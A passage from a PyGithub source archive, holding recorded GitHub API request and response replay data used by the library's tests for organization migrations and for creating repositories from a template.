{"id":25312,"node_id":"MDk6TWlncmF0aW9uMjUzMTI=","owner":{"login":"sample-test-organisation","id":43235726,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQzMjM1NzI2","avatar_url":"https://avatars3.githubusercontent.com/u/43235726?v=4","gravatar_id":"","url":"https://api.github.com/users/sample-test-organisation","html_url":"https://github.com/sample-test-organisation","followers_url":"https://api.github.com/users/sample-test-organisation/followers","following_url":"https://api.github.com/users/sample-test-organisation/following{/other_user}","gists_url":"https://api.github.com/users/sample-test-organisation/gists{/gist_id}","starred_url":"https://api.github.com/users/sample-test-organisation/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sample-test-organisation/subscriptions","organizations_url":"https://api.github.com/users/sample-test-organisation/orgs","repos_url":"https://api.github.com/users/sample-test-organisation/repos","events_url":"https://api.github.com/users/sample-test-organisation/events{/privacy}","received_events_url":"https://api.github.com/users/sample-test-organisation/received_events","type":"Organization","site_admin":false},"guid":"74ac62cc-b768-11e8-8695-688280338423","state":"pending","lock_repositories":false,"exclude_attachments":false,"repositories":[{"id":148654765,"node_id":"MDEwOlJlcG9zaXRvcnkxNDg2NTQ3NjU=","name":"sample-repo","full_name":"sample-test-organisation/sample-repo","owner":{"login":"sample-test-organisation","id":43235726,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQzMjM1NzI2","avatar_url":"https://avatars3.githubusercontent.com/u/43235726?v=4","gravatar_id":"","url":"https://api.github.com/users/sample-test-organisation","html_url":"https://github.com/sample-test-organisation","followers_url":"https://api.github.com/users/sample-test-organisation/followers","following_url":"https://api.github.com/users/sample-test-organisation/following{/other_user}","gists_url":"https://api.github.com/users/sample-test-organisation/gists{/gist_id}","starred_url":"https://api.github.com/users/sample-test-organisation/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sample-test-organisation/subscriptions","organizations_url":"https://api.github.com/users/sample-test-organisation/orgs","repos_url":"https://api.github.com/users/sample-test-organisation/repos","events_url":"https://api.github.com/users/sample-test-organisation/events{/privacy}","received_events_url":"https://api.github.com/users/sample-test-organisation/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/sample-test-organisation/sample-repo","description":null,"fork":false,"url":"https://api.github.com/repos/sample-test-organisation/sample-repo","forks_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/forks","keys_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/teams","hooks_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/hooks","issue_events_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/issues/events{/number}","events_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/events","assignees_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/assignees{/user}","branches_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/branches{/branch}","tags_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/tags","blobs_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/refs{/sha}","trees_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/statuses/{sha}","languages_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/languages","stargazers_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/stargazers","contributors_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/contributors","subscribers_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/subscribers","subscription_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/subscription","commits_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/commits{/sha}","git_commits_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/commits{/sha}","comments_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/comments{/number}","issue_comment_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/issues/comments{/number}","contents_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/contents/{+path}","compare_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/merges","archive_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/downloads","issues_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/issues{/number}","pulls_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/pulls{/number}","milestones_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/milestones{/number}","notifications_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/labels{/name}","releases_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/releases{/id}","deployments_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/deployments","created_at":"2018-09-13T14:59:58Z","updated_at":"2018-09-13T15:19:49Z","pushed_at":"2018-09-13T15:00:00Z","git_url":"git://github.com/sample-test-organisation/sample-repo.git","ssh_url":"git@github.com:sample-test-organisation/sample-repo.git","clone_url":"https://github.com/sample-test-organisation/sample-repo.git","svn_url":"https://github.com/sample-test-organisation/sample-repo","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true}}],"url":"https://api.github.com/orgs/sample-test-organisation/migrations/25312","created_at":"2018-09-13T20:49:49.000+05:30","updated_at":"2018-09-13T20:49:49.000+05:30"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateRepoFromTemplate.txt0000644000175100001660000005440714756101563026645 0ustar00runnerdockerhttps GET api.github.com None /repos/actions/hello-world-docker-action {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 12 Feb 2020 13:54:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1581519266'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept'), ('ETag', 'W/"63c75e6c241c8aa34fa31eaac3091d88"'), ('Last-Modified', 'Fri, 07 Feb 2020 09:28:27 GMT'), ('X-OAuth-Scopes', 'public_repo, read:org, read:user, user:email'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '4A6A:20CC:7983B:E89EF:5E440392')] {"id":200448202,"node_id":"MDEwOlJlcG9zaXRvcnkyMDA0NDgyMDI=","name":"hello-world-docker-action","full_name":"actions/hello-world-docker-action","private":false,"owner":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/actions/hello-world-docker-action","description":"A template to demonstrate how to build a Docker action.","fork":false,"url":"https://api.github.com/repos/actions/hello-world-docker-action","forks_url":"https://api.github.com/repos/actions/hello-world-docker-action/forks","keys_url":"https://api.github.com/repos/actions/hello-world-docker-action/keys{/key_id}","collaborators_url":"https://api.github.com/repos/actions/hello-world-docker-action/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/actions/hello-world-docker-action/teams","hooks_url":"https://api.github.com/repos/actions/hello-world-docker-action/hooks","issue_events_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/events{/number}","events_url":"https://api.github.com/repos/actions/hello-world-docker-action/events","assignees_url":"https://api.github.com/repos/actions/hello-world-docker-action/assignees{/user}","branches_url":"https://api.github.com/repos/actions/hello-world-docker-action/branches{/branch}","tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/tags","blobs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/refs{/sha}","trees_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/trees{/sha}","statuses_url":"https://api.github.com/repos/actions/hello-world-docker-action/statuses/{sha}","languages_url":"https://api.github.com/repos/actions/hello-world-docker-action/languages","stargazers_url":"https://api.github.com/repos/actions/hello-world-docker-action/stargazers","contributors_url":"https://api.github.com/repos/actions/hello-world-docker-action/contributors","subscribers_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscribers","subscription_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscription","commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/commits{/sha}","git_commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/commits{/sha}","comments_url":"https://api.github.com/repos/actions/hello-world-docker-action/comments{/number}","issue_comment_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/comments{/number}","contents_url":"https://api.github.com/repos/actions/hello-world-docker-action/contents/{+path}","compare_url":"https://api.github.com/repos/actions/hello-world-docker-action/compare/{base}...{head}","merges_url":"https://api.github.com/repos/actions/hello-world-docker-action/merges","archive_url":"https://api.github.com/repos/actions/hello-world-docker-action/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/actions/hello-world-docker-action/downloads","issues_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues{/number}","pulls_url":"https://api.github.com/repos/actions/hello-world-docker-action/pulls{/number}","milestones_url":"https://api.github.com/repos/actions/hello-world-docker-action/milestones{/number}","notifications_url":"https://api.github.com/repos/actions/hello-world-docker-action/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/actions/hello-world-docker-action/labels{/name}","releases_url":"https://api.github.com/repos/actions/hello-world-docker-action/releases{/id}","deployments_url":"https://api.github.com/repos/actions/hello-world-docker-action/deployments","created_at":"2019-08-04T04:10:12Z","updated_at":"2020-02-07T09:28:27Z","pushed_at":"2020-01-17T19:48:23Z","git_url":"git://github.com/actions/hello-world-docker-action.git","ssh_url":"git@github.com:actions/hello-world-docker-action.git","clone_url":"https://github.com/actions/hello-world-docker-action.git","svn_url":"https://github.com/actions/hello-world-docker-action","homepage":"https://help.github.com/en/articles/creating-a-docker-container-action","size":11,"stargazers_count":26,"watchers_count":26,"language":"Dockerfile","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":30,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":30,"open_issues":1,"watchers":26,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"temp_clone_token":"","organization":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"network_count":30,"subscribers_count":1} https POST api.github.com None /repos/actions/hello-world-docker-action/generate {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "hello-world-docker-action-new", "owner": "BeaverSoftware"} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 12 Feb 2020 13:54:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '12600'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1581519266'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept'), ('ETag', '"36abdc4630fb044196d6efbfc0f644e0"'), ('X-OAuth-Scopes', 'public_repo, read:org, read:user, user:email'), ('X-Accepted-OAuth-Scopes', ''), ('Location', 'https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new'), ('X-GitHub-Media-Type', 'github.baptiste-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8C3C:2BF7:ACD4:17C45:5E440393')] {"id":240025159,"node_id":"MDEwOlJlcG9zaXRvcnkyNDAwMjUxNTk=","name":"hello-world-docker-action-new","full_name":"BeaverSoftware/hello-world-docker-action-new","owner":{"login":"BeaverSoftware","id":60894054,"node_id":"MDEyOk9yZ2FuaXphdGlvbjYwODk0MDU0","avatar_url":"https://avatars2.githubusercontent.com/u/60894054?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/BeaverSoftware/hello-world-docker-action-new","description":null,"fork":false,"url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new","forks_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/hello-world-docker-action-new/deployments","created_at":"2020-02-12T13:54:28Z","updated_at":"2020-02-12T13:54:28Z","pushed_at":"2020-02-12T13:54:29Z","git_url":"git://github.com/BeaverSoftware/hello-world-docker-action-new.git","ssh_url":"git@github.com:BeaverSoftware/hello-world-docker-action-new.git","clone_url":"https://github.com/BeaverSoftware/hello-world-docker-action-new.git","svn_url":"https://github.com/BeaverSoftware/hello-world-docker-action-new","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"pull":true,"push":true,"admin":true},"is_template":false,"template_repository":{"id":200448202,"node_id":"MDEwOlJlcG9zaXRvcnkyMDA0NDgyMDI=","name":"hello-world-docker-action","full_name":"actions/hello-world-docker-action","owner":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/actions/hello-world-docker-action","description":"A template to demonstrate how to build a Docker action.","fork":false,"url":"https://api.github.com/repos/actions/hello-world-docker-action","forks_url":"https://api.github.com/repos/actions/hello-world-docker-action/forks","keys_url":"https://api.github.com/repos/actions/hello-world-docker-action/keys{/key_id}","collaborators_url":"https://api.github.com/repos/actions/hello-world-docker-action/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/actions/hello-world-docker-action/teams","hooks_url":"https://api.github.com/repos/actions/hello-world-docker-action/hooks","issue_events_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/events{/number}","events_url":"https://api.github.com/repos/actions/hello-world-docker-action/events","assignees_url":"https://api.github.com/repos/actions/hello-world-docker-action/assignees{/user}","branches_url":"https://api.github.com/repos/actions/hello-world-docker-action/branches{/branch}","tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/tags","blobs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/refs{/sha}","trees_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/trees{/sha}","statuses_url":"https://api.github.com/repos/actions/hello-world-docker-action/statuses/{sha}","languages_url":"https://api.github.com/repos/actions/hello-world-docker-action/languages","stargazers_url":"https://api.github.com/repos/actions/hello-world-docker-action/stargazers","contributors_url":"https://api.github.com/repos/actions/hello-world-docker-action/contributors","subscribers_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscribers","subscription_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscription","commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/commits{/sha}","git_commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/commits{/sha}","comments_url":"https://api.github.com/repos/actions/hello-world-docker-action/comments{/number}","issue_comment_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/comments{/number}","contents_url":"https://api.github.com/repos/actions/hello-world-docker-action/contents/{+path}","compare_url":"https://api.github.com/repos/actions/hello-world-docker-action/compare/{base}...{head}","merges_url":"https://api.github.com/repos/actions/hello-world-docker-action/merges","archive_url":"https://api.github.com/repos/actions/hello-world-docker-action/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/actions/hello-world-docker-action/downloads","issues_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues{/number}","pulls_url":"https://api.github.com/repos/actions/hello-world-docker-action/pulls{/number}","milestones_url":"https://api.github.com/repos/actions/hello-world-docker-action/milestones{/number}","notifications_url":"https://api.github.com/repos/actions/hello-world-docker-action/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/actions/hello-world-docker-action/labels{/name}","releases_url":"https://api.github.com/repos/actions/hello-world-docker-action/releases{/id}","deployments_url":"https://api.github.com/repos/actions/hello-world-docker-action/deployments","created_at":"2019-08-04T04:10:12Z","updated_at":"2020-02-07T09:28:27Z","pushed_at":"2020-01-17T19:48:23Z","git_url":"git://github.com/actions/hello-world-docker-action.git","ssh_url":"git@github.com:actions/hello-world-docker-action.git","clone_url":"https://github.com/actions/hello-world-docker-action.git","svn_url":"https://github.com/actions/hello-world-docker-action","homepage":"https://help.github.com/en/articles/creating-a-docker-container-action","size":11,"stargazers_count":26,"watchers_count":26,"language":"Dockerfile","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":30,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":30,"open_issues":1,"watchers":26,"default_branch":"master","permissions":{"pull":true,"push":false,"admin":false},"is_template":true},"organization":{"login":"BeaverSoftware","id":60894054,"node_id":"MDEyOk9yZ2FuaXphdGlvbjYwODk0MDU0","avatar_url":"https://avatars2.githubusercontent.com/u/60894054?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"subscribers_count":0,"network_count":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testCreateRepoFromTemplateWithAllArguments.txt0000644000175100001660000005456514756101563032025 0ustar00runnerdockerhttps GET api.github.com None /repos/actions/hello-world-docker-action {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 12 Feb 2020 18:18:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1581534987'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept'), ('ETag', 'W/"63c75e6c241c8aa34fa31eaac3091d88"'), ('Last-Modified', 'Fri, 07 Feb 2020 09:28:27 GMT'), ('X-OAuth-Scopes', 'public_repo, read:org, read:user, user:email'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '41AB:41D3:1FFAAB:3C0DBC:5E444162')] {"id":200448202,"node_id":"MDEwOlJlcG9zaXRvcnkyMDA0NDgyMDI=","name":"hello-world-docker-action","full_name":"actions/hello-world-docker-action","private":false,"owner":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/actions/hello-world-docker-action","description":"A template to demonstrate how to build a Docker action.","fork":false,"url":"https://api.github.com/repos/actions/hello-world-docker-action","forks_url":"https://api.github.com/repos/actions/hello-world-docker-action/forks","keys_url":"https://api.github.com/repos/actions/hello-world-docker-action/keys{/key_id}","collaborators_url":"https://api.github.com/repos/actions/hello-world-docker-action/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/actions/hello-world-docker-action/teams","hooks_url":"https://api.github.com/repos/actions/hello-world-docker-action/hooks","issue_events_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/events{/number}","events_url":"https://api.github.com/repos/actions/hello-world-docker-action/events","assignees_url":"https://api.github.com/repos/actions/hello-world-docker-action/assignees{/user}","branches_url":"https://api.github.com/repos/actions/hello-world-docker-action/branches{/branch}","tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/tags","blobs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/tags{/sha}","git_refs_url":"http